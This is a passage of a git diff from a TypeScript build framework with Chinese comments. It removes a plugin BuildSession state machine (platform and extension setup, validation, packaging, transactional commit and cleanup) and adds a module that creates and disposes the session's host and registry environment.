DiagnosticRegistry): FailureSummary | undefined { - /** 同阶段使用 Registry 的稳定排序,跨阶段选择最早的实际生命周期失败。 */ - const failures = diagnostics.diagnostics.filter(diagnostic => diagnostic.severity === 'error'); - /** failure 在稳定诊断顺序相同时按固定 lifecycle phase 决定。 */ - const failure = failures.sort((left, right) => FAILURE_PHASE_ORDER.indexOf(left.phase) - FAILURE_PHASE_ORDER.indexOf(right.phase))[0]; - if (failure === undefined) - return undefined; - return Object.freeze({ code: failure.code, phase: failure.phase, message: failure.message }); -} - -/** 把未预期异常收敛为不包含第三方原始错误的稳定诊断。 */ -function reportFailure( - diagnostics: DiagnosticRegistry, - phase: Parameters[0], - code: string, - message: string, - identity: Parameters[2] = {}, -): void { - diagnostics.report(phase, { code, severity: 'error', message: sanitizeStableText(message) }, identity); -} - -/** Platform 单阶段调用的显式成功/失败联合,避免异常跨阶段重新归类。 */ -type PlatformStageResult = Readonly<{ ok: true; value: T }> | Readonly<{ ok: false }>; - -/** - * 在一个真实 Platform 阶段边界内收敛未知异常。 - * - * @param diagnostics 当前 BuildSession 诊断集合。 - * @param phase 报告中的精确阶段。 - * @param code 当前阶段的稳定错误码。 - * @param message 不包含原始异常的稳定摘要。 - * @param platform 当前 Platform ID。 - * @param action 只执行当前阶段工作的回调。 - * @returns 带显式判别字段的阶段结果。 - */ -async function runPlatformStage( - diagnostics: DiagnosticRegistry, - phase: Parameters[0], - code: string, - message: string, - platform: string, - action: () => T | PromiseLike, -): Promise> { - try { - return Object.freeze({ ok: true as const, value: await action() }); - } catch { - reportFailure(diagnostics, phase, code, message, { owner: `platform:${platform}`, platform }); - return Object.freeze({ ok: false as const }); - } -} - -/** 对 initialized stack 逆序恰好关闭一次并保留首次业务失败优先级。 */ -async function closeIntegrations( - initialized: InitializedIntegration[], - diagnostics: DiagnosticRegistry, - committed: boolean, -): Promise { - /** close 上下文在 cleanup 前固定,cleanup failure 不递归传给后续 close。 */ - const failure = firstFailure(diagnostics); - /** context 不暴露原始异常或物理路径。 */ - const context: IntegrationCloseContext = Object.freeze({ - outcome: failure === undefined ? 'success' : 'failed', - committed, - ...(failure === undefined ? {} : { failure }), - }); - /** 全部已初始化 Integration 即使前一个 close 失败也必须继续关闭。 */ - let failed = false; - for (const integration of initialized.reverse()) { - try { - await integration.session.close?.(context); - } catch { - failed = true; - reportFailure( - diagnostics, - 'cleanup', - integration.kind === 'platform' ? 'PLATFORM_CLOSE_FAILED' : 'EXTENSION_CLOSE_FAILED', - `${integration.kind === 'platform' ? 'Platform' : 'Extension'} "${integration.id}" close failed.`, - integration.kind === 'platform' - ? { owner: `platform:${integration.id}`, platform: integration.id } - : { owner: `extension:${integration.id}`, extension: integration.id }, - ); - } - } - initialized.splice(0); - if (failed) - throw new Error('Integration cleanup failed.'); -} - -/** 向单个选中 Platform 授予 canonical auxiliary 和 Public AssetRef。 */ -function grantProjectAssets(project: CanonicalProject, platform: string, assets: AssetRegistry): void { - /** grantee 与 Platform Session 的 owner identity 完全一致。 */ - const grantee = `platform:${platform}`; - for (const skill of project.skills) { - for (const auxiliary of skill.auxiliaryFiles) - assets.grant('framework:canonical', grantee, auxiliary.asset); - } - for (const file of project.publicFiles) - assets.grant('framework:public', grantee, file.asset); -} - -/** Framework Resource 对当前 Platform 的 add-only Contributions。 */ -function frameworkContributions( - project: CanonicalProject, - runtime: BuiltNodeRuntime | undefined, - platform: PlatformIntegrationDescription, - assets: AssetRegistry, -): readonly OwnedPackageContribution[] { - /** Public 与 Runtime 使用独立 owner,保持来源、冲突和 report 可审计。 */ - const contributions: OwnedPackageContribution[] = []; - if (project.publicFiles.length > 0) { - contributions.push(Object.freeze({ - owner: 'framework:public', - contribution: Object.freeze({ - assets: Object.freeze(project.publicFiles.map(file => Object.freeze({ path: file.path, asset: file.asset }))), - compatibility: Object.freeze([]), - }), - })); - } - if (project.runtime !== undefined) { - /** 支持 Platform 获得相同 GeneratedAssetRef 的显式继承 grant。 */ - if (runtime !== undefined && platformSupportsNodeRuntime(platform)) { - for (const entry of runtime.entries) { - assets.grant('framework:node-runtime', `platform:${platform.id}`, entry.main); - if (entry.licenses !== undefined) - assets.grant('framework:node-runtime', `platform:${platform.id}`, entry.licenses); - } - } - contributions.push(Object.freeze({ - owner: 'framework:node-runtime', - contribution: nodeRuntimeContribution(project.runtime, runtime, platform), - })); - } - return Object.freeze(contributions); -} - -/** - * 分离 Core candidate 物化完整性与 Platform validator 两个错误阶段。 - * - * @param options 当前 Platform、Unit 和 Session-owned Registry。 - * @returns candidate 与 validator 都成功且没有 Platform error 时返回 true。 - */ -async function validatePlatformCandidate(options: { - readonly platform: PlatformRuntime; - readonly unit: PackageUnitSnapshot; - readonly command: ConfigCommand; - readonly mode: BuildMode; - readonly assets: AssetRegistry; - readonly workDirectories: WorkDirectoryRegistry; - readonly diagnostics: DiagnosticRegistry; -}): Promise { - /** id 同时绑定 candidate 临时目录、诊断 owner 和 Platform Session。 */ - const id = options.platform.description.id; - /** 每个平台的 candidate 只能位于其 Core-owned workDir。 */ - const temporaryParent = options.workDirectories.physicalRoot( - `platform:${id}`, - await options.workDirectories.directory(`platform:${id}`), - ); - /** 外层只捕获 candidate materialize、post-validate integrity 与 cleanup failure。 */ - const materialization = await runPlatformStage( - options.diagnostics, - 'materialize', - 'PACKAGE_CANDIDATE_MATERIALIZATION_FAILED', - `Platform "${id}" Package "${options.unit.id}" candidate materialization failed.`, - id, - async () => { - /** validatorSucceeded 让 validator failure 不必冒充 materialization exception。 */ - let validatorSucceeded = true; - await withPackageCandidate(options.unit, options.assets, async (candidate) => { - /** validation 只收敛 Platform callback,本地候选完整性仍交给外层。 */ - const validation = await runPlatformStage( - options.diagnostics, - 'platform-validate', - 'PLATFORM_VALIDATE_PACKAGE_FAILED', - `Platform "${id}" Package "${options.unit.id}" validation failed.`, - id, - () => options.platform.session.validatePackage(Object.freeze({ - command: options.command, - mode: options.mode, - candidate, - diagnostics: options.diagnostics.service('platform-validate', { owner: `platform:${id}`, platform: id }), - })), - ); - /** Platform 自己报告 error 而未 throw 时也必须阻止当前 Unit 成功。 */ - validatorSucceeded = validation.ok && !platformHasErrors(options.diagnostics, id); - }, temporaryParent); - return validatorSucceeded; - }, - ); - return materialization.ok && materialization.value && !platformHasErrors(options.diagnostics, id); -} - -/** 建立 Component 的稳定报告列表。 */ -function componentReports(project: CanonicalProject): BuildReport['components'] { - return Object.freeze([...project.commands, ...project.skills, ...project.agents].map(component => Object.freeze({ - kind: component.kind, - id: component.id, - location: Object.freeze({ path: component.location.path, line: component.location.bodyLine }), - }))); -} - -/** 在独立临时根复核全部 Unit 的 aggregate materialization closure。 */ -async function validateCompleteMaterialization( - units: readonly PackageUnitSnapshot[], - assets: AssetRegistry, - workRoot: string, -): Promise { - /** complete candidate 使用当前 BuildSession workRoot 下的独立临时根。 */ - const root = await fs.mkdtemp(path.join(workRoot, 'complete-')); - try { - /** materialized 索引用于复核 aggregate Unit closure。 */ - const materialized = await materializePackageUnits(root, units, assets); - await validatePackageUnits(root, units, materialized); - } finally { - await fs.rm(root, { recursive: true, force: true }); - } -} - -/** - * 执行 Kernel v2 唯一 one-shot BuildSession state machine。 - * - * @param input 已解析配置、选择和事务控制。 - * @returns immutable BuildReport 及 Dev 使用的 Watch snapshot。 - */ -export async function runKernelBuildSession(input: KernelBuildSessionInput): Promise { - /** environment 是否由本次 direct Core 调用创建并负责释放。 */ - const ownEnvironment = input.environment === undefined; - /** 配置 loader 传入的 environment 保证 Config 与 Build 共用一组 Host。 */ - const environment = input.environment ?? await createKernelBuildEnvironment(input.config.projectRoot); - /** 所有 Host/Registry 只从当前唯一 environment 取得。 */ - const { assets, compiler, diagnostics, execution, modules, sources, watch, workDirectories } = environment; - /** 所有报告集合先以空状态存在,确保任一 Kernel 阶段失败仍可形成报告。 */ - let project: CanonicalProject = Object.freeze({ - metadata: input.config.metadata, - commands: Object.freeze([]), skills: Object.freeze([]), agents: Object.freeze([]), publicFiles: Object.freeze([]), - }); - /** setup 成功即压栈,最终只通过 closeIntegrations 消费。 */ - const initialized: InitializedIntegration[] = []; - /** 选中 Platform 在 setup 前完成纯选择校验。 */ - let selected: readonly ResolvedPlatform[] = Object.freeze([]); - /** selection 失败属于唯一阻止 Integration setup 的 config 前置错误。 */ - let selectionValid = true; - /** setup 成功的平台与扩展运行时。 */ - const platforms: PlatformRuntime[] = []; - /** Extension 运行时保持配置顺序。 */ - const extensions: ExtensionRuntime[] = []; - /** Extension 各阶段报告状态。 */ - const extensionReports = new Map(); - /** validated consumer plans 和 built state 在所有 Platform 间共享。 */ - const plans: ExtensionConsumerPlan[] = []; - /** Built State 不允许由其他 Extension 读取。 */ - const built: BuiltExtensionState[] = []; - /** 每个 plan 的 skipped/built/failed 状态阻止 missing State 被误归为 Platform failure。 */ - const planBuilds: ExtensionPlanBuildStatus[] = []; - /** Runtime Built State 只由 Framework contribution 读取。 */ - let builtRuntime: BuiltNodeRuntime | undefined; - /** 完成 primary/distribution candidate 校验的最终 Units。 */ - const units: PackageUnitSnapshot[] = []; - /** 报告中精确标记 validated candidate 的 Unit key。 */ - const validatedPackages = new Set(); - /** 每个 Platform 是否完成全部 package stages。 */ - const platformSucceeded = new Set(); - /** Compatibility Registry 必须等 Project Graph 固定后再创建。 */ - let compatibility: ReturnType = Object.freeze({ compatibility: Object.freeze([]), metadata: Object.freeze([]) }); - /** committed 只在 transaction afterSwap close 全部成功后变为 true。 */ - let committed = false; - /** 防止 commit afterSwap 和 finally cleanup 重复关闭。 */ - let integrationsClosed = false; - - try { - try { - selected = selectPlatforms(input.config, input.selection); - } catch { - selectionValid = false; - reportFailure(diagnostics, 'config', 'PLATFORM_SELECTION_INVALID', 'Selected Platforms are invalid.'); - } - /** integrations snapshot 在任何 factory 调用前固定。 */ - const platformDescriptions = selected.map(platformDescription); - /** Extension descriptions 与 Platform descriptions 共同形成只读 setup 视图。 */ - const extensionDescriptions = input.config.extensions.map(extensionDescription); - /** integrations 不包含 Session 或可变配置引用。 */ - const integrations: readonly IntegrationDescription[] = Object.freeze([...platformDescriptions, ...extensionDescriptions]); - /** setup Context 不暴露物理路径或 mutable config。 */ - const summary: ResolvedConfigSummary = Object.freeze({ - metadata: input.config.metadata, - command: input.config.command, - mode: input.config.mode, - strict: input.config.strict, - }); - - /** Platform Session 必须先按配置顺序逐一创建。 */ - for (const [index, resolved] of selected.entries()) { - /** description 与当前 resolved Platform 使用相同配置槽位。 */ - const description = platformDescriptions[index]!; - try { - /** session 一经 shape 校验即进入 initialized close stack。 */ - const session = platformSession(await resolved.definition.createSession(Object.freeze({ - command: input.config.command, - mode: input.config.mode, - options: resolved.definition.options ?? Object.freeze({}), - config: summary, - integrations, - })), resolved.definition.id); - platforms.push(Object.freeze({ resolved, description, session })); - initialized.push(Object.freeze({ kind: 'platform', id: resolved.definition.id, session })); - } catch { - reportFailure(diagnostics, 'setup', 'PLATFORM_SETUP_FAILED', `Platform "${resolved.definition.id}" setup failed.`, { - owner: `platform:${resolved.definition.id}`, platform: resolved.definition.id, - }); - } - } - /** Extension Session 在 Platform setup 尝试结束后按配置顺序独立创建。 */ - if (selectionValid) { - for (const [index, definition] of input.config.extensions.entries()) { - /** description 与当前 Extension 使用相同配置槽位。 */ - const description = extensionDescriptions[index]!; - try { - /** session 一经 shape 校验即进入 initialized close stack。 */ - const session = extensionSession(await definition.createSession(Object.freeze({ - command: input.config.command, - mode: input.config.mode, - options: definition.options ?? Object.freeze({}), - config: summary, - integrations, - })), definition.id); - extensions.push(Object.freeze({ definition, description, session })); - initialized.push(Object.freeze({ kind: 'extension', id: definition.id, session })); - extensionReports.set(definition.id, Object.freeze({ id: definition.id, discovered: false, subjects: Object.freeze([]) })); - } catch { - reportFailure(diagnostics, 'setup', 'EXTENSION_SETUP_FAILED', `Extension "${definition.id}" setup failed.`, { - owner: `extension:${definition.id}`, extension: definition.id, - }); - } - } - } - - if (selectionValid) { - /** Resource claims 固定 canonical/runtime/Extension root ownership。 */ - const claims = await new ResourceRegistry({ config: input.config, sources, watch, diagnostics }).claim(); - /** 独立 Resource discover 共享 registries,但不共享 mutable State。 */ - const canonicalPromise = discoverCanonicalProject({ - metadata: input.config.metadata, - platformIds: selected.map(platform => platform.definition.id), - claims, - sources, - assets, - diagnostics, - }); - /** Public Provider 与 canonical/runtime discover 并行且无共享 mutable state。 */ - const publicPromise = discoverPublicResources({ config: input.config, sources, assets, watch, diagnostics }); - /** Runtime Provider 当前只发现 framework-owned entry state。 */ - const runtimePromise = discoverNodeRuntime({ - ...(claims.runtime === undefined ? {} : { root: claims.runtime }), - config: input.config.runtime, - sources, - diagnostics, - }); - /** 每个 Extension discover 独立捕获并绑定自己的失败身份。 */ - const discoveredExtensions = extensions.map(async (runtime) => { - try { - /** discovered State 立即通过 Extension Provider 建立 owner-bound snapshot。 */ - const discovered = await discoverExtension({ - extension: runtime.definition, - session: runtime.session, - roots: claims.extensions[runtime.definition.id] ?? Object.freeze({}), - command: input.config.command, - mode: input.config.mode, - sources, - assets, - modules: modules.service(`extension:${runtime.definition.id}`), - diagnostics, - }); - /** discover 主动报告 error 与 throw 使用相同失败语义。 */ - if (hasMatchingError(diagnostics, item => item.extension === runtime.definition.id)) - return Object.freeze({ runtime, discovered: undefined }); - return Object.freeze({ runtime, discovered }); - } catch { - reportFailure(diagnostics, 'discover', 'EXTENSION_DISCOVER_FAILED', `Extension "${runtime.definition.id}" discover failed.`, { - owner: `extension:${runtime.definition.id}`, extension: runtime.definition.id, - }); - return Object.freeze({ runtime, discovered: undefined }); - } - }); - /** 聚合只按 Promise 输入槽位读取,不观察完成顺序。 */ - const [canonical, publicFiles, runtime, discovered] = await Promise.all([ - canonicalPromise, publicPromise, runtimePromise, Promise.all(discoveredExtensions), - ]); - /** 唯一 Project Graph 在全部 Resource discover 后一次性冻结。 */ - project = assembleProjectGraph(canonical, publicFiles, runtime); - - /** Stage 5 对每个 canonical Component/selected Platform 恰好调用一次 hook。 */ - const components = [...project.commands, ...project.skills, ...project.agents]; - /** 独立验证并行运行,诊断由 Registry 稳定排序。 */ - await Promise.all(platforms.flatMap(platform => components.map(async (component) => { - try { - await platform.session.validateComponent?.(Object.freeze({ - project, - component, - diagnostics: diagnostics.service('validate', { - owner: `platform:${platform.description.id}`, - platform: platform.description.id, - component: { kind: component.kind, id: component.id }, - }), - })); - } catch { - reportFailure(diagnostics, 'validate', 'PLATFORM_COMPONENT_VALIDATION_FAILED', - `Platform "${platform.description.id}" could not validate ${component.kind} "${component.id}".`, { - owner: `platform:${platform.description.id}`, - platform: platform.description.id, - component: { kind: component.kind, id: component.id }, - }); - } - }))); - - /** Extension validate 只运行实际发现了作者资源的 State。 */ - const validated = await Promise.all(discovered.map(async ({ runtime: extension, discovered: state }) => { - if (state === undefined) - return undefined; - try { - /** result 立即跨越 Extension State snapshot 与 subject contract。 */ - const result = await validateExtension({ - discovered: state, - session: extension.session, - project, - command: input.config.command, - mode: input.config.mode, - sources, - assets, - diagnostics, - }); - extensionReports.set(extension.definition.id, Object.freeze({ - id: extension.definition.id, - discovered: true, - subjects: result.subjects, - })); - if (hasMatchingError(diagnostics, diagnostic => diagnostic.extension === extension.definition.id)) - return undefined; - return Object.freeze({ runtime: extension, validated: result }); - } catch { - reportFailure(diagnostics, 'validate', 'EXTENSION_VALIDATE_FAILED', `Extension "${extension.definition.id}" validate failed.`, { - owner: `extension:${extension.definition.id}`, extension: extension.definition.id, - }); - return undefined; - } - })); - - /** consumer preflight 在 build 前固定 missing contributor/skip 语义。 */ - for (const item of validated) { - if (item === undefined) - continue; - try { - plans.push(preflightExtensionConsumers({ - validated: item.validated, - session: item.runtime.session, - platforms: platformDescriptions, - })); - } catch { - reportFailure(diagnostics, 'validate', 'EXTENSION_CONTRIBUTOR_INVALID', `Extension "${item.runtime.definition.id}" contributors are invalid.`, { - owner: `extension:${item.runtime.definition.id}`, extension: item.runtime.definition.id, - }); - } - } - - /** Stage 6 只构建拥有至少一个 consumer 的 Extension。 */ - const buildResults = await Promise.all(plans.map(async (plan) => { - if (!plan.requiresBuild) - return Object.freeze({ plan, status: 'skipped' as const }); - /** runtime 仅用于取得当前 plan 自己的 Session。 */ - const runtime = extensions.find(item => item.definition.id === plan.extension.id)!; - try { - /** result 在写入 shared built array 前保持 plan 槽位顺序。 */ - const result = await buildExtension({ - plan, - session: runtime.session, - project, - command: input.config.command, - mode: input.config.mode, - compiler: await compiler.service(`extension:${plan.extension.id}`), - execution: execution.service(`extension:${plan.extension.id}`), - assets, - sources, - diagnostics, - }); - return hasMatchingError(diagnostics, diagnostic => diagnostic.extension === plan.extension.id) || result === undefined - ? Object.freeze({ plan, status: 'failed' as const }) - : Object.freeze({ plan, status: 'built' as const, built: result }); - } catch { - reportFailure(diagnostics, 'compile', 'EXTENSION_BUILD_FAILED', `Extension "${plan.extension.id}" build failed.`, { - owner: `extension:${plan.extension.id}`, extension: plan.extension.id, - }); - return Object.freeze({ plan, status: 'failed' as const }); - } - })); - planBuilds.push(...buildResults); - built.push(...buildResults - .filter((value): value is Extract => value.status === 'built') - .map(value => value.built)); - - /** Runtime 只在至少一个选中且已 setup Platform 声明能力时编译一次。 */ - if (project.runtime !== undefined && platforms.some(platform => platformSupportsNodeRuntime(platform.description))) { - try { - builtRuntime = await buildNodeRuntime(project.runtime, await compiler.service('framework:node-runtime')); - } catch { - reportFailure(diagnostics, 'compile', 'NODE_RUNTIME_BUILD_FAILED', 'Node Runtime compilation failed.', { - owner: 'framework:node-runtime', - }); - } - } - - /** Package stages 对 selected Platforms 独立执行;报告合并按稳定键完成。 */ - const projectFailed = projectHasErrors(diagnostics); - /** packageResults 保留 Platform 配置槽位,与并发完成顺序无关。 */ - const packageResults = await Promise.all(platforms.map(async (platform) => { - /** id 同时绑定 Context owner、诊断和最终 Package namespace。 */ - const id = platform.description.id; - /** 工程级或本 Platform validation 失败不影响其他独立 Platform。 */ - if (projectFailed || platformHasErrors(diagnostics, id) || platformConsumesFailedExtension(id, planBuilds)) - return undefined; - /** createPackage 与 base snapshot validation 属于 package 阶段。 */ - const created = await runPlatformStage( - diagnostics, - 'package', - 'PLATFORM_CREATE_PACKAGE_FAILED', - `Platform "${id}" createPackage failed.`, - id, - async () => { - grantProjectAssets(project, id, assets); - return createBasePackage(id, await platform.session.createPackage(Object.freeze({ - command: input.config.command, - mode: input.config.mode, - project, - compiler: await compiler.service(`platform:${id}`), - assets: assets.service(`platform:${id}`), - diagnostics: diagnostics.service('package', { owner: `platform:${id}`, platform: id }), - })), assets); - }, - ); - if (!created.ok || platformHasErrors(diagnostics, id)) - return undefined; - /** Contributor collection、Framework contribution 与集中 merge 共用 contribute 边界。 */ - const contributed = await runPlatformStage( - diagnostics, - 'contribute', - 'PLATFORM_CONTRIBUTION_FAILED', - `Platform "${id}" Package contribution failed.`, - id, - async () => { - /** Extension Contribution 全部读取 created.value 的同一对象身份。 */ - const extensionContributions = await collectExtensionContributions({ - platform: platform.description, - base: created.value, - project, - command: input.config.command, - mode: input.config.mode, - plans, - built, - assets, - diagnostics, - }); - return mergePackageContributions(id, created.value, [ - ...frameworkContributions(project, builtRuntime, platform.description, assets), - ...extensionContributions, - ], assets); - }, - ); - if (!contributed.ok || platformHasErrors(diagnostics, id)) - return undefined; - /** Platform finalization 只确定主 Package 身份并追加 Platform Asset。 */ - const finalized = await runPlatformStage( - diagnostics, - 'finalize', - 'PLATFORM_FINALIZE_PACKAGE_FAILED', - `Platform "${id}" primary Package finalization failed.`, - id, - async () => finalizePrimaryPackage(id, platform.resolved.definition.deliveryType, contributed.value, - await platform.session.finalizePackage(Object.freeze({ - command: input.config.command, - mode: input.config.mode, - project, - package: contributed.value, - compiler: await compiler.service(`platform:${id}`), - assets: assets.service(`platform:${id}`), - diagnostics: diagnostics.service('finalize', { owner: `platform:${id}`, platform: id }), - })), assets), - ); - if (!finalized.ok || platformHasErrors(diagnostics, id)) - return undefined; - if (!await validatePlatformCandidate({ - platform, - unit: finalized.value, - command: input.config.command, - mode: input.config.mode, - assets, - workDirectories, - diagnostics, - })) - return undefined; - /** Distribution creation 是从已验证 primary 派生的 finalization 子阶段。 */ - const distributions = await runPlatformStage( - diagnostics, - 'finalize', - 'PLATFORM_FINALIZE_PACKAGE_FAILED', - `Platform "${id}" Distribution finalization failed.`, - id, - async () => platform.session.createDistributions === undefined - ? Object.freeze([]) - : collectDistributionPackages({ - platform: id, - primary: finalized.value, - assets, - /** create callback 不暴露 Registry,只委托当前 Platform Session。 */ - create: scopedAssets => Promise.resolve(platform.session.createDistributions!(Object.freeze({ - command: input.config.command, - mode: input.config.mode, - project, - primary: finalized.value, - assets: scopedAssets, - diagnostics: diagnostics.service('finalize', { owner: `platform:${id}`, platform: id }), - }))), - }), - ); - if (!distributions.ok || platformHasErrors(diagnostics, id)) - return undefined; - for (const distribution of distributions.value) { - if (!await validatePlatformCandidate({ - platform, - unit: distribution, - command: input.config.command, - mode: input.config.mode, - assets, - workDirectories, - diagnostics, - })) - return undefined; - } - return Object.freeze({ - platform, - merged: contributed.value, - units: Object.freeze([finalized.value, ...distributions.value]), - }); - })); - - /** 每个 Platform 独立完成 compatibility graph,错误不抑制其他 Platform。 */ - const compatibilityEntries: typeof compatibility.compatibility[number][] = []; - /** metadata dispositions 与 compatibility 使用相同 Platform 隔离。 */ - const metadataEntries: typeof compatibility.metadata[number][] = []; - for (const result of packageResults) { - if (result === undefined) - continue; - units.push(...result.units); - for (const unit of result.units) - validatedPackages.add(`${unit.platform}/${unit.id}`); - /** id 固定当前独立 compatibility Registry 的 Platform identity。 */ - const id = result.platform.description.id; - try { - /** registry 只接收当前 Platform 的 graph,避免跨平台失败抑制。 */ - const registry = new CompatibilityRegistry({ project, diagnostics }); - registry.addCompatibility(id, result.merged.compatibility); - registry.addMetadata(id, result.merged.metadata); - /** finalized 在完整当前 Platform graph 上执行一次 strictness。 */ - const finalized = registry.finalize([Object.freeze({ id, strict: result.platform.resolved.strict })]); - compatibilityEntries.push(...finalized.compatibility); - metadataEntries.push(...finalized.metadata); - if (!platformHasErrors(diagnostics, id)) - platformSucceeded.add(id); - } catch { - reportFailure(diagnostics, 'compatibility', 'COMPATIBILITY_FINALIZATION_FAILED', - `Platform "${id}" compatibility finalization failed.`, { platform: id, owner: `platform:${id}` }); - } - } - compatibility = Object.freeze({ - compatibility: Object.freeze(compatibilityEntries), - metadata: Object.freeze(metadataEntries), - }); - /** 无 commit 或已有错误时不会进入 transaction,必须在此完成 aggregate 复核。 */ - if (!input.commit || diagnostics.hasErrors) { - try { - await validateCompleteMaterialization(units, assets, environment.workRoot); - } catch { - reportFailure(diagnostics, 'materialize', 'PACKAGE_MATERIALIZATION_FAILED', 'Complete Package materialization failed.'); - } - } - } - - /** validate/inspect 已由 Project 层强制 commit=false;错误报告也绝不进入事务。 */ - if (input.commit && !diagnostics.hasErrors) { - try { - await commitPackageUnits(input.config.outDirectory, units, assets, { - projectRoot: input.config.projectRoot, - scope: input.selection === undefined - ? Object.freeze({ type: 'full' as const }) - : Object.freeze({ type: 'subset' as const, platforms: Object.freeze(selected.map(item => item.definition.id)) }), - /** close 属于 swap 后仍可 rollback 的 commit 必要条件。 */ - afterSwap: async () => { - try { - await closeIntegrations(initialized, diagnostics, true); - } finally { - /** stack 已消费,即使 close 失败也不能在 rollback 后重复调用。 */ - integrationsClosed = true; - } - }, - }); - committed = true; - } catch { - if (!diagnostics.diagnostics.some(item => item.phase === 'cleanup')) - reportFailure(diagnostics, 'transaction', 'TRANSACTION_FAILED', 'Managed output transaction failed.'); - } - } - } catch { - reportFailure(diagnostics, 'internal', 'INTERNAL_ERROR', 'The Kernel could not complete the BuildSession.'); - } finally { - if (!integrationsClosed) { - try { - await closeIntegrations(initialized, diagnostics, false); - } catch { - /** closeIntegrations 已记录每个 cleanup failure。 */ - } - } - } - - /** Platform/Extension 未 setup 或未选中状态也必须显式出现在稳定报告。 */ - for (const extension of input.config.extensions) { - if (!extensionReports.has(extension.id)) - extensionReports.set(extension.id, Object.freeze({ id: extension.id, discovered: false, subjects: Object.freeze([]) })); - } - /** selectedIds 用于报告配置中未选 Platform 的显式状态。 */ - const selectedIds = new Set(selected.map(platform => platform.definition.id)); - /** platformReports 从配置全集稳定投影,不从成功 Unit 反推选择状态。 */ - const platformReports: PlatformReport[] = input.config.platforms.map(platform => Object.freeze({ - id: platform.definition.id, - selected: selectedIds.has(platform.definition.id), - success: platformSucceeded.has(platform.definition.id) && !diagnostics.diagnostics.some(item => item.platform === platform.definition.id && item.severity === 'error'), - packageIds: Object.freeze(units.filter(unit => unit.platform === platform.definition.id).map(unit => unit.id).sort(compareCodePoints)), - })); - /** BuildSession 成功同时要求无诊断、全部选中 Platform 成功和必要提交完成。 */ - const success = !diagnostics.hasErrors - && selected.every(platform => platformSucceeded.has(platform.definition.id)) - && (!input.commit || committed); - /** Report 必须在 capability scope 撤销和 workDir 删除前读取 Asset provenance。 */ - const report = createBuildReport({ - frameworkVersion: input.frameworkVersion, - compilerVersion: (await compiler.service('framework:report')).engine.version, - success, - command: input.config.command, - mode: input.config.mode, - committed, - components: componentReports(project), - runtimes: Object.freeze((project.runtime?.entries ?? []).map(entry => Object.freeze({ - id: entry.id, kind: entry.kind, location: Object.freeze({ path: entry.source.path }), - built: builtRuntime?.entries.some(candidate => candidate.id === entry.id) ?? false, - }))), - extensions: Object.freeze([...extensionReports.values()]), - platforms: Object.freeze(platformReports), - packages: Object.freeze(units), - validatedPackages: Object.freeze([...validatedPackages]), - compatibility: compatibility.compatibility, - metadata: compatibility.metadata, - diagnostics: diagnostics.diagnostics, - assets, - }); - /** Watch snapshot 在关闭 capability scope 前完成不可变复制。 */ - const watchSnapshot = watch.snapshot(); - if (ownEnvironment) - await disposeKernelBuildEnvironment(environment); - return Object.freeze({ report, watch: watchSnapshot }); -} - -/** Project 层规范化 one-shot command/mode/commit defaults。 */ -export function normalizeProjectRunOptions(options: ProjectRunOptions = {}): { - readonly command: Exclude; - readonly mode: BuildMode; - readonly selection?: readonly string[]; - readonly commit: boolean; -} { - /** command 缺省为唯一可提交的一次性 build。 */ - const command = options.command ?? 'build'; - if (command !== 'validate' && command !== 'inspect' && command !== 'build') - throw new TypeError('Project command must be validate, inspect or build.'); - /** mode 只进入 ConfigEnvironment,不改变 command/commit 规则。 */ - const mode = options.mode ?? 'production'; - if (mode !== 'development' && mode !== 'production') - throw new TypeError('Project mode must be development or production.'); - if (options.commit !== undefined && typeof options.commit !== 'boolean') - throw new TypeError('Project commit must be boolean.'); - return Object.freeze({ - command, - mode, - ...(options.platforms === undefined ? {} : { selection: Object.freeze([...options.platforms]) }), - commit: command === 'build' && (options.commit ?? true), - }); -} diff --git a/packages/core/src/lifecycle/build-environment.ts b/packages/core/src/lifecycle/build-environment.ts new file mode 100644 index 0000000..53162aa --- /dev/null +++ b/packages/core/src/lifecycle/build-environment.ts @@ -0,0 +1,66 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { CompilerHost } from '../compiler/compiler-service.js'; +import { AssetRegistry } from '../services/assets.js'; +import { DiagnosticRegistry } from '../services/diagnostics.js'; +import { ExecutionHost } from '../services/execution.js'; +import { ModuleHost } from '../services/modules.js'; +import { SourceRegistry } from '../services/sources.js'; +import { WatchRegistry } from '../services/watch.js'; +import { WorkDirectoryRegistry } from '../services/work-directories.js'; +import { BuildSessionScope } from './session-scope.js'; + +/** Project config loader 与 BuildSession 共享的唯一 Host/Registry 环境。 */ +export interface KernelBuildEnvironment { + readonly scope: BuildSessionScope; + readonly workRoot: string; + readonly sources: SourceRegistry; + readonly workDirectories: WorkDirectoryRegistry; + readonly watch: WatchRegistry; + readonly assets: AssetRegistry; + readonly modules: ModuleHost; + readonly compiler: CompilerHost; + readonly execution: ExecutionHost; + readonly diagnostics: DiagnosticRegistry; +} + +/** 创建一次 BuildSession 唯一的 Host/Registry 图。 */ +export async function createKernelBuildEnvironment(projectRoot: string): Promise { + /** 所有 Integration 中间文件共享一个由 Core 独占的临时父目录。 */ + const workRoot = await fs.mkdtemp(path.join(os.tmpdir(), '.acplugin-work-')); + /** capability scope 在最终报告建立后统一撤销。 */ + const scope = new BuildSessionScope(); + /** Source/Watch/Work registries 是全部 Host 的共同授权基础。 */ + const sources = new SourceRegistry(scope, projectRoot); + /** 每个 owner 只会获得自己的不可伪造 workDir handle。 */ + const workDirectories = new WorkDirectoryRegistry(scope, workRoot); + /** Watch Registry 集中接收 Resource、Module 和 Compiler observations。 */ + const watch = new WatchRegistry(scope, projectRoot); + /** Asset Registry 绑定当前 Source 与 workDir identities。 */ + const assets = new AssetRegistry(scope, sources, workDirectories); + /** Module Host 只读取同一组 Session Registry。 */ + const modules = new ModuleHost({ projectRoot, sources, workDirectories, watch }); + /** Compiler Host 是当前 BuildSession 唯一 Rolldown compile owner。 */ + const compiler = new CompilerHost({ projectRoot, sources, workDirectories, assets, watch }); + /** Execution Host 只运行本 Session 的 portable generated refs。 */ + const execution = new ExecutionHost({ assets, workDirectories }); + return Object.freeze({ + scope, + workRoot, + sources, + workDirectories, + watch, + assets, + modules, + compiler, + execution, + diagnostics: new DiagnosticRegistry(), + }); +} + +/** 撤销全部 capability 并删除当前 Session 中间文件。 */ +export async function disposeKernelBuildEnvironment(environment: KernelBuildEnvironment): Promise { + environment.scope.close(); + await fs.rm(environment.workRoot, { recursive: true, force: true }); +} diff --git a/packages/core/src/lifecycle/build-session.ts b/packages/core/src/lifecycle/build-session.ts new file mode 100644 index 0000000..4e18de0 --- /dev/null +++ b/packages/core/src/lifecycle/build-session.ts @@ -0,0 +1,556 @@ +/** Core 固定生命周期的唯一 